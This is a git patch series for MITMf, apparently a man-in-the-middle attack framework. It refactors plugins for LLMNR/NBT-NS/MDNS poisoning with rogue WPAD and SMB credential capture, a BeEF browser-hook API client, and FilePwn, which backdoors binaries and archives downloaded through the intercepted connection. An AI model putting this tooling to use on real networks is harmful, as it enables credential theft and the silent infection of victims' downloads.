2b1f22d..42bb65d 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -57,9 +57,9 @@ class Responder(Plugin): if options.Analyse: print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' - t = threading.Thread(name='responder', target=start_responder, args=(options, options.ip_address, config)) - t.setDaemon(True) - t.start() + Responder.main = self.start_responder + + self.start_responder(options, options.ip_address, config) def plugin_reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -77,114 +77,117 @@ class Responder(Plugin): -def start_responder(options, ip_address, config): + def start_responder(options, ip_address, config): - global VERSION; VERSION = '2.1.2' + global VERSION; VERSION = '2.1.2' - # Set some vars. - global On_Off; On_Off = config['HTTP'].upper() - global SSL_On_Off; SSL_On_Off = config['HTTPS'].upper() - global SMB_On_Off; SMB_On_Off = config['SMB'].upper() - global SQL_On_Off; SQL_On_Off = config['SQL'].upper() - global FTP_On_Off; FTP_On_Off = config['FTP'].upper() - global POP_On_Off; POP_On_Off = config['POP'].upper() - global IMAP_On_Off; IMAP_On_Off = config['IMAP'].upper() - global SMTP_On_Off; SMTP_On_Off = config['SMTP'].upper() - global LDAP_On_Off; LDAP_On_Off = config['LDAP'].upper() - global DNS_On_Off; DNS_On_Off = config['DNS'].upper() - global Krb_On_Off; Krb_On_Off = config['Kerberos'].upper() - global NumChal; NumChal = config['Challenge'] - global SessionLog; SessionLog = config['SessionLog'] - global Exe_On_Off; Exe_On_Off = config['HTTP Server']['Serve-Exe'].upper() - global Exec_Mode_On_Off; Exec_Mode_On_Off = config['HTTP Server']['Serve-Always'].upper() - global FILENAME; FILENAME = config['HTTP Server']['Filename'] - global WPAD_Script; WPAD_Script = config['HTTP Server']['WPADScript'] - #HTMLToServe = config.get('HTTP Server', 'HTMLToServe') + # Set some vars. + global On_Off; On_Off = config['HTTP'].upper() + global SSL_On_Off; SSL_On_Off = config['HTTPS'].upper() + global SMB_On_Off; SMB_On_Off = config['SMB'].upper() + global SQL_On_Off; SQL_On_Off = config['SQL'].upper() + global FTP_On_Off; FTP_On_Off = config['FTP'].upper() + global POP_On_Off; POP_On_Off = config['POP'].upper() + global IMAP_On_Off; IMAP_On_Off = config['IMAP'].upper() + global SMTP_On_Off; SMTP_On_Off = config['SMTP'].upper() + global LDAP_On_Off; LDAP_On_Off = config['LDAP'].upper() + global DNS_On_Off; DNS_On_Off = config['DNS'].upper() + global Krb_On_Off; Krb_On_Off = config['Kerberos'].upper() + global NumChal; NumChal = config['Challenge'] + global SessionLog; SessionLog = config['SessionLog'] + global Exe_On_Off; Exe_On_Off = config['HTTP Server']['Serve-Exe'].upper() + global Exec_Mode_On_Off; Exec_Mode_On_Off = config['HTTP Server']['Serve-Always'].upper() + global FILENAME; FILENAME = config['HTTP Server']['Filename'] + global WPAD_Script; WPAD_Script = config['HTTP Server']['WPADScript'] + #HTMLToServe = config.get('HTTP Server', 'HTMLToServe') - global SSLcert; SSLcert = config['HTTPS Server']['cert'] - global SSLkey; SSLkey = config['HTTPS Server']['key'] + global SSLcert; SSLcert = config['HTTPS Server']['cert'] + global SSLkey; SSLkey = config['HTTPS Server']['key'] - global RespondTo; RespondTo = config['RespondTo'].strip() - RespondTo.split(",") - global RespondToName; RespondToName = config['RespondToName'].strip() - RespondToName.split(",") - global DontRespondTo; DontRespondTo = config['DontRespondTo'].strip() - DontRespondTo.split(",") - global DontRespondToName; DontRespondToName = config['DontRespondToName'].strip() - DontRespondToName.split(",") + global RespondTo; RespondTo = config['RespondTo'].strip() + RespondTo.split(",") + global RespondToName; RespondToName = config['RespondToName'].strip() + RespondToName.split(",") + global DontRespondTo; DontRespondTo = config['DontRespondTo'].strip() + DontRespondTo.split(",") + global DontRespondToName; DontRespondToName = config['DontRespondToName'].strip() + DontRespondToName.split(",") - HTMLToServe = '' + HTMLToServe = '' - if len(NumChal) is not 16: - sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") + if len(NumChal) is not 16: + sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") - # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. - global Challange; Challenge = "" - for i in range(0,len(NumChal),2): - Challenge += NumChal[i:i+2].decode("hex") + # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. + global Challange; Challenge = "" + for i in range(0,len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") - #Cli options. - global OURIP; OURIP = ip_address - global LM_On_Off; LM_On_Off = options.LM_On_Off - global WPAD_On_Off; WPAD_On_Off = options.WPAD_On_Off - global Wredirect; Wredirect = options.Wredirect - global NBTNSDomain; NBTNSDomain = options.NBTNSDomain - global Basic; Basic = options.Basic - global Finger_On_Off; Finger_On_Off = options.Finger - global INTERFACE; INTERFACE = "Not set" - global Verbose; Verbose = options.Verbose - global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth - global AnalyzeMode; AnalyzeMode = options.Analyse + #Cli options. + global OURIP; OURIP = ip_address + global LM_On_Off; LM_On_Off = options.LM_On_Off + global WPAD_On_Off; WPAD_On_Off = options.WPAD_On_Off + global Wredirect; Wredirect = options.Wredirect + global NBTNSDomain; NBTNSDomain = options.NBTNSDomain + global Basic; Basic = options.Basic + global Finger_On_Off; Finger_On_Off = options.Finger + global INTERFACE; INTERFACE = "Not set" + global Verbose; Verbose = options.Verbose + global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth + global AnalyzeMode; AnalyzeMode = options.Analyse - global ResponderPATH; ResponderPATH = "./logs/" - global BIND_TO_Interface; BIND_TO_Interface = "ALL" + global ResponderPATH; ResponderPATH = "./logs/" + global BIND_TO_Interface; BIND_TO_Interface = "ALL" - AnalyzeICMPRedirect() + AnalyzeICMPRedirect() - start_message = "Responder will redirect requests to: %s\n" % ip_address - start_message += "Challenge set: %s\n" % NumChal - start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off - start_message += "WPAD script loaded: %s\n" % WPAD_Script - start_message += "HTTP Server: %s\n" % On_Off - start_message += "HTTPS Server: %s\n" % SSL_On_Off - start_message += "SMB Server: %s\n" % SMB_On_Off - start_message += "SMB LM support: %s\n" % LM_On_Off - start_message += "Kerberos Server: %s\n" % Krb_On_Off - start_message += "SQL Server: %s\n" % SQL_On_Off - start_message += "FTP Server: %s\n" % FTP_On_Off - start_message += "IMAP Server: %s\n" % IMAP_On_Off - start_message += "POP3 Server: %s\n" % POP_On_Off - start_message += "SMTP Server: %s\n" % SMTP_On_Off - start_message += "DNS Server: %s\n" % DNS_On_Off - start_message += "LDAP Server: %s\n" % LDAP_On_Off - start_message += "FingerPrint hosts: %s\n" % Finger_On_Off - start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off - start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off - - logging.debug(start_message) + start_message = "Responder will redirect requests to: %s\n" % ip_address + start_message += "Challenge set: %s\n" % NumChal + start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off + start_message += "WPAD script loaded: %s\n" % WPAD_Script + start_message += "HTTP Server: %s\n" % On_Off + start_message += "HTTPS Server: %s\n" % SSL_On_Off + start_message += "SMB Server: %s\n" % SMB_On_Off + start_message += "SMB LM support: %s\n" % LM_On_Off + start_message += "Kerberos Server: %s\n" % Krb_On_Off + start_message += "SQL Server: %s\n" % SQL_On_Off + start_message += "FTP Server: %s\n" % FTP_On_Off + start_message += "IMAP Server: %s\n" % IMAP_On_Off + start_message += "POP3 Server: %s\n" % POP_On_Off + start_message += "SMTP Server: %s\n" % SMTP_On_Off + start_message += "DNS Server: %s\n" % DNS_On_Off + start_message += "LDAP Server: %s\n" % LDAP_On_Off + start_message += "FingerPrint hosts: %s\n" % Finger_On_Off + start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off + start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off + + logging.debug(start_message) - try: - num_thrd = 1 - Is_FTP_On(FTP_On_Off) - Is_HTTP_On(On_Off) - Is_HTTPS_On(SSL_On_Off) - Is_WPAD_On(WPAD_On_Off) - Is_Kerberos_On(Krb_On_Off) - Is_SMB_On(SMB_On_Off) - Is_SQL_On(SQL_On_Off) - Is_LDAP_On(LDAP_On_Off) - Is_DNS_On(DNS_On_Off) - Is_POP_On(POP_On_Off) - Is_SMTP_On(SMTP_On_Off) - Is_IMAP_On(IMAP_On_Off) - #Browser listener loaded by default - thread.start_new(serve_thread_udp,('', 138,Browser)) - ## Poisoner loaded by default, it's the purpose of this tool... - thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS)) #MDNS - thread.start_new(serve_thread_udp,('', 88, KerbUDP)) - thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS - thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR - while num_thrd > 0: - time.sleep(1) - except KeyboardInterrupt: - exit() + try: + num_thrd = 1 + Is_FTP_On(FTP_On_Off) + Is_HTTP_On(On_Off) + Is_HTTPS_On(SSL_On_Off) + Is_WPAD_On(WPAD_On_Off) + Is_Kerberos_On(Krb_On_Off) + Is_SMB_On(SMB_On_Off) + Is_SQL_On(SQL_On_Off) + Is_LDAP_On(LDAP_On_Off) + Is_DNS_On(DNS_On_Off) + Is_POP_On(POP_On_Off) + Is_SMTP_On(SMTP_On_Off) + Is_IMAP_On(IMAP_On_Off) + #Browser listener loaded by default + t1 = threading.Thread(name="Browser", target=serve_thread_udp, args=('', 138, Browser)) + ## Poisoner loaded by default, it's the purpose of this tool... + t2 = threading.Thread(name="MDNS", target=serve_thread_udp_MDNS, args=('', 5353, MDNS)) #MDNS + t3 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=('', 88, KerbUDP)) + t4 = threading.Thread(name="NBNS", target=serve_thread_udp, args=('', 137,NB)) #NBNS + t5 = threading.Thread(name="LLMNR", target=serve_thread_udp_LLMNR, args=('', 5355, LLMNR)) #LLMNR + + for t in [t1, t2, t3, t4, t5]: + t.setDaemon(True) + t.start() + + except KeyboardInterrupt: + exit() From 3b56e92e052d73c4b6107ba0be67586398d34d88 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 11:21:31 +0200 Subject: [PATCH 121/323] added custom responder submodule --- .gitmodules | 3 + libs/responder | 1 + logs/.gitignore | 2 +- logs/responder/.gitignore | 2 + plugins/Responder.py | 128 +------------------------------------- 5 files changed, 9 insertions(+), 127 deletions(-) create mode 160000 libs/responder create mode 100644 logs/responder/.gitignore diff --git a/.gitmodules b/.gitmodules index 65a6dc5..1109a7e 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "libs/bdfactory"] path = libs/bdfactory url = https://github.com/secretsquirrel/the-backdoor-factory +[submodule "libs/responder"] + path = libs/responder + url = https://github.com/byt3bl33d3r/Responder-MITMf diff --git a/libs/responder b/libs/responder new file mode 160000 index 0000000..644593e --- /dev/null +++ b/libs/responder @@ -0,0 +1 @@ +Subproject commit 644593ecccc412c25eea71e47cad3d838f64d794 diff --git a/logs/.gitignore b/logs/.gitignore index a5baada..13038f6 100644 --- a/logs/.gitignore +++ b/logs/.gitignore @@ -1,3 +1,3 @@ * !.gitignore - +!responder/ diff --git a/logs/responder/.gitignore b/logs/responder/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/logs/responder/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/Responder.py b/plugins/Responder.py index 42bb65d..451297d 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -23,7 +23,7 @@ import os import threading from plugins.plugin import Plugin -import libs.responder.Responder as Responder +from libs.responder.Responder import start_responder from core.sslstrip.DnsCache import DnsCache from twisted.internet import reactor @@ -47,19 +47,12 @@ class Responder(Plugin): except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - DnsCache.getInstance().setCustomAddress(options.ip_address) - - for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: - DnsCache.getInstance().setCustomRes(name, options.ip_address) - print "| |_ NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION if options.Analyse: print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' - Responder.main = self.start_responder - - self.start_responder(options, options.ip_address, config) + start_responder(options, options.ip_address, config) def plugin_reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -74,120 +67,3 @@ class Responder(Plugin): options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") - - - - def start_responder(options, ip_address, config): - - global VERSION; VERSION = '2.1.2' - - # Set some vars. - global On_Off; On_Off = config['HTTP'].upper() - global SSL_On_Off; SSL_On_Off = config['HTTPS'].upper() - global SMB_On_Off; SMB_On_Off = config['SMB'].upper() - global SQL_On_Off; SQL_On_Off = config['SQL'].upper() - global FTP_On_Off; FTP_On_Off = config['FTP'].upper() - global POP_On_Off; POP_On_Off = config['POP'].upper() - global IMAP_On_Off; IMAP_On_Off = config['IMAP'].upper() - global SMTP_On_Off; SMTP_On_Off = config['SMTP'].upper() - global LDAP_On_Off; LDAP_On_Off = config['LDAP'].upper() - global DNS_On_Off; DNS_On_Off = config['DNS'].upper() - global Krb_On_Off; Krb_On_Off = config['Kerberos'].upper() - global NumChal; NumChal = config['Challenge'] - global SessionLog; SessionLog = config['SessionLog'] - global Exe_On_Off; Exe_On_Off = config['HTTP Server']['Serve-Exe'].upper() - global Exec_Mode_On_Off; Exec_Mode_On_Off = config['HTTP Server']['Serve-Always'].upper() - global FILENAME; FILENAME = config['HTTP Server']['Filename'] - global WPAD_Script; WPAD_Script = config['HTTP Server']['WPADScript'] - #HTMLToServe = config.get('HTTP Server', 'HTMLToServe') - - global SSLcert; SSLcert = config['HTTPS Server']['cert'] - global SSLkey; SSLkey = config['HTTPS Server']['key'] - - global RespondTo; RespondTo = config['RespondTo'].strip() - RespondTo.split(",") - global RespondToName; RespondToName = config['RespondToName'].strip() - RespondToName.split(",") - global DontRespondTo; DontRespondTo = config['DontRespondTo'].strip() - DontRespondTo.split(",") - global DontRespondToName; DontRespondToName = config['DontRespondToName'].strip() - DontRespondToName.split(",") - - HTMLToServe = '' - - if len(NumChal) is not 16: - sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") - - # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. - global Challange; Challenge = "" - for i in range(0,len(NumChal),2): - Challenge += NumChal[i:i+2].decode("hex") - - #Cli options. - global OURIP; OURIP = ip_address - global LM_On_Off; LM_On_Off = options.LM_On_Off - global WPAD_On_Off; WPAD_On_Off = options.WPAD_On_Off - global Wredirect; Wredirect = options.Wredirect - global NBTNSDomain; NBTNSDomain = options.NBTNSDomain - global Basic; Basic = options.Basic - global Finger_On_Off; Finger_On_Off = options.Finger - global INTERFACE; INTERFACE = "Not set" - global Verbose; Verbose = options.Verbose - global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth - global AnalyzeMode; AnalyzeMode = options.Analyse - - global ResponderPATH; ResponderPATH = "./logs/" - global BIND_TO_Interface; BIND_TO_Interface = "ALL" - - AnalyzeICMPRedirect() - - start_message = "Responder will redirect requests to: %s\n" % ip_address - start_message += "Challenge set: %s\n" % NumChal - start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off - start_message += "WPAD script loaded: %s\n" % WPAD_Script - start_message += "HTTP Server: %s\n" % On_Off - start_message += "HTTPS Server: %s\n" % SSL_On_Off - start_message += "SMB Server: %s\n" % SMB_On_Off - start_message += "SMB LM support: %s\n" % LM_On_Off - start_message += "Kerberos Server: %s\n" % Krb_On_Off - start_message += "SQL Server: %s\n" % SQL_On_Off - start_message += "FTP Server: %s\n" % FTP_On_Off - start_message += "IMAP Server: %s\n" % IMAP_On_Off - start_message += "POP3 Server: %s\n" % POP_On_Off - start_message += "SMTP Server: %s\n" % SMTP_On_Off - start_message += "DNS Server: %s\n" % DNS_On_Off - start_message += "LDAP Server: %s\n" % LDAP_On_Off - start_message += "FingerPrint hosts: %s\n" % Finger_On_Off - start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off - start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off - - logging.debug(start_message) - - try: - num_thrd = 1 - Is_FTP_On(FTP_On_Off) - Is_HTTP_On(On_Off) - Is_HTTPS_On(SSL_On_Off) - Is_WPAD_On(WPAD_On_Off) - Is_Kerberos_On(Krb_On_Off) - Is_SMB_On(SMB_On_Off) - Is_SQL_On(SQL_On_Off) - Is_LDAP_On(LDAP_On_Off) - Is_DNS_On(DNS_On_Off) - Is_POP_On(POP_On_Off) - Is_SMTP_On(SMTP_On_Off) - Is_IMAP_On(IMAP_On_Off) - #Browser listener loaded by default - t1 = threading.Thread(name="Browser", target=serve_thread_udp, args=('', 138, Browser)) - ## Poisoner loaded by default, it's the purpose of this tool... - t2 = threading.Thread(name="MDNS", target=serve_thread_udp_MDNS, args=('', 5353, MDNS)) #MDNS - t3 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=('', 88, KerbUDP)) - t4 = threading.Thread(name="NBNS", target=serve_thread_udp, args=('', 137,NB)) #NBNS - t5 = threading.Thread(name="LLMNR", target=serve_thread_udp_LLMNR, args=('', 5355, LLMNR)) #LLMNR - - for t in [t1, t2, t3, t4, t5]: - t.setDaemon(True) - t.start() - - except KeyboardInterrupt: - exit() From 77a84118b15df3e884a527246e0a4d677add010f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 11:35:30 +0200 Subject: [PATCH 122/323] updated responder to latest commit --- libs/responder | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libs/responder b/libs/responder index 644593e..4f5537d 160000 --- a/libs/responder +++ b/libs/responder @@ -1 +1 @@ -Subproject commit 644593ecccc412c25eea71e47cad3d838f64d794 +Subproject commit 4f5537d43bde2d9689de3c3b1252e56ba991b126 From c6ad5cc290191a8e9d7537136c27a56bcc900bcf Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 13:32:07 +0200 Subject: [PATCH 123/323] fixed function call --- libs/responder | 2 +- plugins/Responder.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/libs/responder b/libs/responder index 4f5537d..24c6e84 160000 --- a/libs/responder +++ b/libs/responder @@ -1 +1 @@ -Subproject commit 4f5537d43bde2d9689de3c3b1252e56ba991b126 +Subproject commit 24c6e8434b08a97e9b8033cd1f2bc9be30a75982 diff --git a/plugins/Responder.py b/plugins/Responder.py index 451297d..9edc843 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -52,7 +52,7 @@ class Responder(Plugin): if options.Analyse: print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' - start_responder(options, options.ip_address, config) + start_responder(options, config) def plugin_reactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) @@ -66,4 +66,3 @@ class Responder(Plugin): options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") - options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") From 52fb822c157c1bc72d5a5e2dd76140f19c1a89c8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 13:38:41 +0200 Subject: [PATCH 124/323] added beefapi as submodule --- .gitmodules | 3 + core/beefapi | 1 + core/beefapi.py | 188 ------------------------------------------------ 3 files changed, 4 insertions(+), 188 deletions(-) create mode 160000 core/beefapi delete mode 100644 core/beefapi.py diff --git a/.gitmodules b/.gitmodules index 1109a7e..fbdd874 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,3 +4,6 @@ [submodule "libs/responder"] path = libs/responder url = https://github.com/byt3bl33d3r/Responder-MITMf +[submodule "core/beefapi"] + path = core/beefapi + url = https://github.com/byt3bl33d3r/beefapi diff --git a/core/beefapi b/core/beefapi new file mode 160000 index 0000000..fdef477 --- /dev/null +++ b/core/beefapi @@ -0,0 +1 @@ +Subproject commit fdef4770187dd455c2cb67b668bd1f2761af02cc diff --git a/core/beefapi.py b/core/beefapi.py deleted file mode 100644 index cc8960e..0000000 --- a/core/beefapi.py +++ /dev/null @@ -1,188 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import requests -import json -from random import sample -from string import lowercase, digits - - -class BeefAPI: - - def __init__(self, opts=[]): - self.host = "127.0.0.1" or opts.get(host) - self.port = "3000" or opts.get(port) - self.token = None - self.url = "http://%s:%s/api/" % (self.host, self.port) - self.login_url = self.url + "admin/login" - self.hookurl = self.url + "hooks?token=" - self.mod_url = self.url + "modules?token=" - self.log_url = self.url + "logs?token=" - - def random_url(self): - return "".join(sample(digits + lowercase, 8)) - - def login(self, username, password): - try: - auth = json.dumps({"username": username, "password": password}) - r = requests.post(self.login_url, data=auth) - data = r.json() - - if (r.status_code == 200) and (data["success"]): - self.token = data["token"] #Auth token - return True - elif r.status_code != 200: - return False - - except Exception, e: - print "beefapi ERROR: %s" % e - - def sessions_online(self): - return self.get_sessions("online", "session") - - def sessions_offline(self): - return self.get_sessions("offline", "session") - - def session2host(self, session): - return self.conversion(session, "ip") - - def session2id(self, session): - return self.conversion(session, "id") - - def hook_info(self, hook): #Returns parsed information on a session - session = self.conversion(hook, "session") - url = self.hookurl + self.token - r = requests.get(url).json() - - try: - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - if v[1]["session"] == session: - return v[1] - except IndexError: - pass - - def hook_info_all(self, hook): - session = self.conversion(hook, "session") - url = self.url + "hooks/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hook_logs(self, hook): - session = self.conversion(hook, "session") - url = self.url + "logs/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hosts_online(self): - return self.get_sessions("online", "ip") - - def hosts_offline(self): - return self.get_sessions("offline", "ip") - - def host2session(self, host): - return self.conversion(host, "session") - - def host2id(self, host): - return self.conversion(host, "id") - - def ids_online(self): - return self.get_sessions("online", "id") - - def ids_offline(self): - return self.get_sessions("offline", "id") - - def id2session(self, id): - return self.conversion(id, "session") - - def id2host(self, id): - return self.conversion(id, "ip") - - def module_id(self, name): #Returns module id - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["name"] == name: - return v["id"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_name(self, id): #Returns module name - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["id"] == id: - return v["name"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_run(self, hook, mod_id, options={}): #Executes a module on a specified session - try: - session = self.conversion(hook, "session") - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) - return requests.post(url, headers=headers, data=payload).json() - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_results(self, hook, mod_id, cmd_id): - session = self.conversion(hook, "session") - url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) - return requests.get(url).json() - - def modules_list(self): - return requests.get(self.mod_url + self.token).json() - - def module_info(self, id): - url = self.url + "modules/%s?token=%s" % (id, self.token) - return requests.get(url).json() - - def logs(self): - return requests.get(self.log_url + self.token).json() - - def conversion(self, value, return_value): #Helper function for all conversion functions - url = self.hookurl + self.token - try: - r = requests.get(url).json() - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - for r in v[1].values(): - if str(value) == str(r): - return v[1][return_value] - - except Exception, e: - print "beefapi ERROR: %s" % e - - except IndexError: - pass - - def get_sessions(self, state, value): #Helper function - try: - hooks = [] - r = requests.get(self.hookurl + self.token).json() - for v in r["hooked-browsers"][state].items(): - hooks.append(v[1][value]) - - return hooks - except Exception, e: - print "beefapi ERROR: %s" % e From 84c9bab33cdf9c8ee79c27ff1c86d0fe5dd53d4e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 13:50:55 +0200 Subject: [PATCH 125/323] fixed beefapi import --- core/beefapi | 2 +- plugins/BeefAutorun.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/beefapi b/core/beefapi index fdef477..28d2fef 160000 --- a/core/beefapi +++ b/core/beefapi @@ -1 +1 @@ -Subproject commit fdef4770187dd455c2cb67b668bd1f2761af02cc +Subproject commit 28d2fef986e217425cb621701f267e40425330c4 diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index aa60762..a607ebe 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -22,8 +22,8 @@ import logging import sys import json import threading -import core.beefapi as beefapi +from core.beefapi.beefapi import BeefAPI from plugins.plugin import Plugin from plugins.Inject import Inject from time import sleep @@ -62,7 +62,7 @@ class BeefAutorun(Inject, Plugin): self.black_ips = [] self.html_payload = '' % (self.ip_address, beefconfig['beefport']) - beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") From 3e835c3a2888ae5c9eea00a3b1eb8aa802c7108a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 16:58:37 +0200 Subject: [PATCH 126/323] updated bdfactory to latest commit --- libs/bdfactory | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libs/bdfactory b/libs/bdfactory index 410dcab..9ce83ea 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 410dcabc214203547ac545e41bd2ea0e84260b0c +Subproject commit 9ce83ead5ddc4daa798b0f144b3cfeece6809c19 From df9fd2d12a1cdba1aadf8076f54d81205959221b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 1 Apr 2015 01:11:40 +0200 Subject: [PATCH 127/323] Filepwn plugin now uses multiprocessing to patch binaries --- plugins/FilePwn.py | 55 +++++++++++++++++++++++++++++++++++----------- 1 file changed, 42 insertions(+), 13 deletions(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index e95ea8b..bd1f6bd 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -65,6 +65,8 @@ import shutil import random import string import tarfile +import multiprocessing + from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin @@ -85,6 +87,8 @@ class FilePwn(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.patched = multiprocessing.Queue() + #FOR FUTURE USE self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] @@ -282,7 +286,8 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - return result + self.patched.put(result) + return except Exception as e: print 'Exception', str(e) @@ -297,7 +302,8 @@ class FilePwn(Plugin): if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): print "[!] TarFile over allowed size" logging.info("TarFIle maxSize met %s", len(aTarFileBytes)) - return aTarFileBytes + self.patched.put(aTarFileBytes) + return with tempfile.NamedTemporaryFile() as tarFileStorage: tarFileStorage.write(aTarFileBytes) @@ -305,7 +311,8 @@ class FilePwn(Plugin): if not tarfile.is_tarfile(tarFileStorage.name): print '[!] Not a tar file' - return aTarFileBytes + self.patched.put(aTarFileBytes) + return compressionMode = ':' if formatt == 'gz': @@ -322,7 +329,8 @@ class FilePwn(Plugin): if tarFile is None: print '[!] Not a tar file' - return aTarFileBytes + self.patched.put(aTarFileBytes) + return print '[*] Tar file contents and info:' print '[*] Compression:', formatt @@ -408,9 +416,11 @@ class FilePwn(Plugin): if wasPatched is False: # If nothing was changed return the original print "[*] No files were patched forwarding original file" - return aTarFileBytes + self.patched.put(aTarFileBytes) + return else: - return ret + self.patched.put(ret) + return def zip_files(self, aZipFile): "When called will unpack and edit a Zip File and return a zip file" @@ -420,7 +430,8 @@ class FilePwn(Plugin): if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): print "[!] ZipFile over allowed size" logging.info("ZipFIle maxSize met %s", len(aZipFile)) - return aZipFile + self.patched.put(aZipFile) + return tmpRan = 